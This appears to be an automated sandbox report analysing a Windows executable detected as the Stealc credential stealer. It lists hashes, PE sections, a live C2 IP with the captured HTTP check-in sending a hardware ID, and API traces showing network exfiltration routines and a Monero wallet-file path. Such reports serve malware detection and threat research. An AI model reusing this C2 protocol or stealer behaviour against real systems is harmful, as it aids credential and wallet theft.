	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945294044164301
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'852'928 bytes
MD5:	3c4a472bba3dee50286e154336b9643e
SHA1:	8aeb79c1357013ae448e4365786b3352d5436b11
SHA256:	8bc63380429f0d4476b62f4e52eca341094f21d326f82535d61a5a5035840a89
SHA512:	7e2f9947e0172e063983f6bd567be598f4aee91885f2a34b26ad7e4dd5578dcead00951ce8ea8edd6b90b6deb7c9a73662c485d9f700c355ca86f6065ceedb25
SSDEEP:	49152:97I11HeczEVCS/LBjkb5V1lvQX74JYYEdsRmSD1:97I11VzEw2LB4FVXYL4JqswU
TLSH:	2385333DE9221D65EA67DB70DCA1DE3C95B4117DCA248B2F5A79C31A341A220F1213FA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa9e000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FB438C3B30Ah

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	06c0b67e561758e2897a0e4744596f60	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a0000	0x200	cec0ecbd21db2491ccd5696e8dd4aff9	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wdprdbdb	0x4fe000	0x19f000	0x19e400	0183850ce463f1e19e56df419b6a15c8	False	0.9946403986873869	data	7.95311750631902	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rwcfgkti	0x69d000	0x1000	0x400	cff930119e13f4463c816d5b274ca356	False	0.7861328125	data	6.1114591601782315	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x69e000	0x3000	0x2200	cc3b851385ec88255a882a40fb07ecd5	False	0.006548713235294118	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-10T20:25:12.186591+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 10, 2024 20:25:10.589113951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 10, 2024 20:25:11.205245018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 10, 2024 20:25:11.205580950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 10, 2024 20:25:11.205940008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 10, 2024 20:25:11.211221933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 10, 2024 20:25:11.945841074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 10, 2024 20:25:11.945943117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 10, 2024 20:25:11.948759079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 10, 2024 20:25:11.953767061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 10, 2024 20:25:12.186496019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 10, 2024 20:25:12.186590910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 10, 2024 20:25:14.688338995 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	7284	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 20:25:11.205940008 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 10, 2024 20:25:11.945841074 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 18:25:11 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 10, 2024 20:25:11.948759079 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHDBFIEGIDGIECBKJEC Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 48 44 42 46 49 45 47 49 44 47 49 45 43 42 4b 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 34 43 46 32 42 45 36 44 46 39 31 39 32 32 30 36 33 34 39 37 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 44 42 46 49 45 47 49 44 47 49 45 43 42 4b 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 44 42 46 49 45 47 49 44 47 49 45 43 42 4b 4a 45 43 2d 2d 0d 0a Data Ascii: ------CFHDBFIEGIDGIECBKJECContent-Disposition: form-data; name="hwid"24CF2BE6DF91922063497------CFHDBFIEGIDGIECBKJECContent-Disposition: form-data; name="build"doma------CFHDBFIEGIDGIECBKJEC--
Oct 10, 2024 20:25:12.186496019 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 18:25:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	14:25:07
Start date:	10/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x120000
File size:	1'852'928 bytes
MD5 hash:	3C4A472BBA3DEE50286E154336B9643E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1817097974.0000000000FDE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1775667377.0000000004D40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00139860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00FF2488), ref: 001398A1
GetProcAddress.KERNEL32(74DD0000,00FF2308), ref: 001398BA
GetProcAddress.KERNEL32(74DD0000,00FF2470), ref: 001398D2
GetProcAddress.KERNEL32(74DD0000,00FF2320), ref: 001398EA
GetProcAddress.KERNEL32(74DD0000,00FF2500), ref: 00139903
GetProcAddress.KERNEL32(74DD0000,00FF9128), ref: 0013991B
GetProcAddress.KERNEL32(74DD0000,00FE5E10), ref: 00139933
GetProcAddress.KERNEL32(74DD0000,00FE5D90), ref: 0013994C
GetProcAddress.KERNEL32(74DD0000,00FF2218), ref: 00139964
GetProcAddress.KERNEL32(74DD0000,00FF2230), ref: 0013997C
GetProcAddress.KERNEL32(74DD0000,00FF2338), ref: 00139995
GetProcAddress.KERNEL32(74DD0000,00FF2380), ref: 001399AD
GetProcAddress.KERNEL32(74DD0000,00FE5E30), ref: 001399C5
GetProcAddress.KERNEL32(74DD0000,00FF2398), ref: 001399DE
GetProcAddress.KERNEL32(74DD0000,00FF23B0), ref: 001399F6
GetProcAddress.KERNEL32(74DD0000,00FE5DB0), ref: 00139A0E
GetProcAddress.KERNEL32(74DD0000,00FF23E0), ref: 00139A27
GetProcAddress.KERNEL32(74DD0000,00FF2458), ref: 00139A3F
GetProcAddress.KERNEL32(74DD0000,00FE5AD0), ref: 00139A57
GetProcAddress.KERNEL32(74DD0000,00FF24B8), ref: 00139A70
GetProcAddress.KERNEL32(74DD0000,00FE5C90), ref: 00139A88
LoadLibraryA.KERNEL32(00FF2518,?,00136A00), ref: 00139A9A
LoadLibraryA.KERNEL32(00FF2560,?,00136A00), ref: 00139AAB
LoadLibraryA.KERNEL32(00FF25A8,?,00136A00), ref: 00139ABD
LoadLibraryA.KERNEL32(00FF2530,?,00136A00), ref: 00139ACF
LoadLibraryA.KERNEL32(00FF25C0,?,00136A00), ref: 00139AE0
GetProcAddress.KERNEL32(75A70000,00FF2548), ref: 00139B02
GetProcAddress.KERNEL32(75290000,00FF2578), ref: 00139B23
GetProcAddress.KERNEL32(75290000,00FF2590), ref: 00139B3B
GetProcAddress.KERNEL32(75BD0000,00FF25D8), ref: 00139B5D
GetProcAddress.KERNEL32(75450000,00FE5E50), ref: 00139B7E
GetProcAddress.KERNEL32(76E90000,00FF91C8), ref: 00139B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00139BB6

Strings

NtQueryInformationProcess, xrefs: 00139BAA

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 82ca0a9764306a9175be24a2beb7ca02a5b0355f0f45467cdfe033d063ef2a0c
Instruction ID: 614679c99423c9862a666fad4b6f31916b63a8d8283405dfd32c011538b07139
Opcode Fuzzy Hash: 82ca0a9764306a9175be24a2beb7ca02a5b0355f0f45467cdfe033d063ef2a0c
Instruction Fuzzy Hash: 02A15BB5500A409FD346EFA8EE889563BFDF78C301F04C51AE615A3264D7F9A841EF22

Function 001245C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0012460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0012479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0012471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0012477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001246D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0012466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001245E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0012474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001246B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001245C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001245DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0012473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0012462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0012475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001246AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001245D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001246C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001245F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001246CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00124657

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 02b81af2dd20b63afe5b4a9134efabdd0d7bc8eb2f03a51254b02fe12f2417af
Instruction ID: ad618cc9829bfd96f830e96c86ca86cf438e160298937c26cfbf473ac6a33245
Opcode Fuzzy Hash: 02b81af2dd20b63afe5b4a9134efabdd0d7bc8eb2f03a51254b02fe12f2417af
Instruction Fuzzy Hash: 04411460EEB6047BE728FFA498E2E9D77577F46F0CF987044AC2056293CBB0670145A2

Function 00124880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0013A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0013A7E6

Part of subcall function 001247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00124839
Part of subcall function 001247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00124849

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00124915
StrCmpCA.SHLWAPI(?,00FFE7D8), ref: 0012493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00124ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00140DDB,00000000,?,?,00000000,?,",00000000,?,00FFE8C8), ref: 00124DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00124E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00124E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00124E49
InternetCloseHandle.WININET(00000000), ref: 00124EAD
InternetCloseHandle.WININET(00000000), ref: 00124EC5
HttpOpenRequestA.WININET(00000000,00FFE898,?,00FFE338,00000000,00000000,00400100,00000000), ref: 00124B15

Part of subcall function 0013A9B0: lstrlen.KERNEL32(?,00FF90A8,?,\Monero\wallet.keys,00140E17), ref: 0013A9C5
Part of subcall function 0013A9B0: lstrcpy.KERNEL32(00000000), ref: 0013AA04
Part of subcall function 0013A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0013AA12

Part of subcall function 0013A8A0: lstrcpy.KERNEL32(?,00140E17), ref: 0013A905

Part of subcall function 0013A920: lstrcpy.KERNEL32(00000000,?), ref: 0013A972
Part of subcall function 0013A920: lstrcat.KERNEL32(00000000), ref: 0013A982

InternetCloseHandle.WININET(00000000), ref: 00124ECF

Strings

------, xrefs: 00124B28
------, xrefs: 001249BD
------, xrefs: 00124C69
", xrefs: 00124D33
", xrefs: 00124BF2

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
